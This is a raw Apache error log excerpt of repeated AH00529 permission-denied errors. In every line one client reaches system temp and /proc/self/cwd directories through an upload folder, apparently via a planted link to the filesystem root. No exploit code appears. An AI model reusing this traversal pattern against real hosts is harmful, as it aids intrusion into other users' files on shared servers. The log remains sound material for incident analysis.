[Fri Jul 17 09:19:46.925230 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php74-php-fpm.service-j0aMGs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php74-php-fpm.service-j0aMGs/' is executable
[Fri Jul 17 09:19:46.925297 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/TjL55MHwtp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/TjL55MHwtp/' is executable
[Fri Jul 17 09:19:46.925361 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php72-php-fpm.service-0QM4nc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php72-php-fpm.service-0QM4nc/' is executable
[Fri Jul 17 09:19:46.925455 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-systemd-coredump@7-3383325-0.service-hnmFFV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-systemd-coredump@7-3383325-0.service-hnmFFV/' is executable
[Fri Jul 17 09:19:46.925534 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php74-php-fpm.service-mkj1z4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php74-php-fpm.service-mkj1z4/' is executable
[Fri Jul 17 09:19:46.925620 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ssa-agent.service-orHFsQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ssa-agent.service-orHFsQ/' is executable
[Fri Jul 17 09:19:46.925691 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php81-php-fpm.service-zLPuv8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php81-php-fpm.service-zLPuv8/' is executable
[Fri Jul 17 09:19:46.925753 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/MfAQPkOGQR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/MfAQPkOGQR/' is executable
[Fri Jul 17 09:19:46.925820 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php82-php-fpm.service-GZ9z9Q/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php82-php-fpm.service-GZ9z9Q/' is executable
[Fri Jul 17 09:19:46.925879 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-y5_7kitz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-y5_7kitz/' is executable
[Fri Jul 17 09:19:46.925989 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-chronyd.service-9pno2g/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-chronyd.service-9pno2g/' is executable
[Fri Jul 17 09:19:46.926075 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-systemd-coredump@10-216488-0.service-NejGvC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-systemd-coredump@10-216488-0.service-NejGvC/' is executable
[Fri Jul 17 09:19:46.926157 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php83-php-fpm.service-NlVfOz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php83-php-fpm.service-NlVfOz/' is executable
[Fri Jul 17 09:19:46.926212 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-pdns.service-B2vFOs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-pdns.service-B2vFOs/' is executable
[Fri Jul 17 09:19:46.926280 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php72-php-fpm.service-V3idlz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php72-php-fpm.service-V3idlz/' is executable
[Fri Jul 17 09:19:46.926366 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/AM_qu10eRk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/AM_qu10eRk/' is executable
[Fri Jul 17 09:19:46.926469 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-pdns.service-FYRiD8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-pdns.service-FYRiD8/' is executable
[Fri Jul 17 09:19:46.926539 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/namespace-dev-lgFOlG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/namespace-dev-lgFOlG/' is executable
[Fri Jul 17 09:19:46.926637 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php73-php-fpm.service-TnfJe2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php73-php-fpm.service-TnfJe2/' is executable
[Fri Jul 17 09:19:46.926698 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-pdns.service-n2vSvY/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-pdns.service-n2vSvY/' is executable
[Fri Jul 17 09:19:46.926795 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-lekslpip/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-lekslpip/' is executable
[Fri Jul 17 09:19:46.926887 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php81-php-fpm.service-oisS48/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php81-php-fpm.service-oisS48/' is executable
[Fri Jul 17 09:19:46.926958 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php83-php-fpm.service-xcg4bw/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php83-php-fpm.service-xcg4bw/' is executable
[Fri Jul 17 09:19:46.927142 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-le15m0dk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-le15m0dk/' is executable
[Fri Jul 17 09:19:46.927215 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-gqezdkb0/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-gqezdkb0/' is executable
[Fri Jul 17 09:19:46.927277 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-chronyd.service-joq6Th/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-chronyd.service-joq6Th/' is executable
[Fri Jul 17 09:19:46.927373 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php73-php-fpm.service-VoHnBk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php73-php-fpm.service-VoHnBk/' is executable
[Fri Jul 17 09:19:46.927433 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ssa-agent.service-MnqPeh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ssa-agent.service-MnqPeh/' is executable
[Fri Jul 17 09:19:46.927535 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-pdns.service-y1ormq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-pdns.service-y1ormq/' is executable
[Fri Jul 17 09:19:46.927627 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/eUlbezYDSC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/eUlbezYDSC/' is executable
[Fri Jul 17 09:19:46.927694 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ssa-agent.service-aOSbWw/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ssa-agent.service-aOSbWw/' is executable
[Fri Jul 17 09:19:46.927752 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-ghj1l_6y/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-ghj1l_6y/' is executable
[Fri Jul 17 09:19:46.927821 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-imunify-agent-proxy.service-K64pig/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-imunify-agent-proxy.service-K64pig/' is executable
[Fri Jul 17 09:19:46.927882 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-06nhxuc3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-06nhxuc3/' is executable
[Fri Jul 17 09:19:46.927956 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php83-php-fpm.service-ITZgJz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php83-php-fpm.service-ITZgJz/' is executable
[Fri Jul 17 09:19:46.928015 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-chronyd.service-42XOPQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-chronyd.service-42XOPQ/' is executable
[Fri Jul 17 09:19:46.928100 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/5kNnzDZ5Yz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/5kNnzDZ5Yz/' is executable
[Fri Jul 17 09:19:46.928176 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-dapmcgbw/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-dapmcgbw/' is executable
[Fri Jul 17 09:19:46.928239 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php74-php-fpm.service-Ga7PhP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php74-php-fpm.service-Ga7PhP/' is executable
[Fri Jul 17 09:19:46.928319 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-chronyd.service-Tuj4ly/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-chronyd.service-Tuj4ly/' is executable
[Fri Jul 17 09:19:46.928444 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php82-php-fpm.service-62YNmg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php82-php-fpm.service-62YNmg/' is executable
[Fri Jul 17 09:19:46.928516 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-pdns.service-nMCe99/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-pdns.service-nMCe99/' is executable
[Fri Jul 17 09:19:46.928607 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php82-php-fpm.service-VAuate/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php82-php-fpm.service-VAuate/' is executable
[Fri Jul 17 09:19:46.928668 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php81-php-fpm.service-K2r9EZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php81-php-fpm.service-K2r9EZ/' is executable
[Fri Jul 17 09:19:46.928734 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php83-php-fpm.service-NVYpW8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php83-php-fpm.service-NVYpW8/' is executable
[Fri Jul 17 09:19:46.928792 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/YNjm9abJGN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/YNjm9abJGN/' is executable
[Fri Jul 17 09:19:46.928862 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php83-php-fpm.service-hXrO3y/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php83-php-fpm.service-hXrO3y/' is executable
[Fri Jul 17 09:19:46.928918 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php73-php-fpm.service-slyd6M/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php73-php-fpm.service-slyd6M/' is executable
[Fri Jul 17 09:19:46.928988 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/PVCnVE6x1v/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/PVCnVE6x1v/' is executable
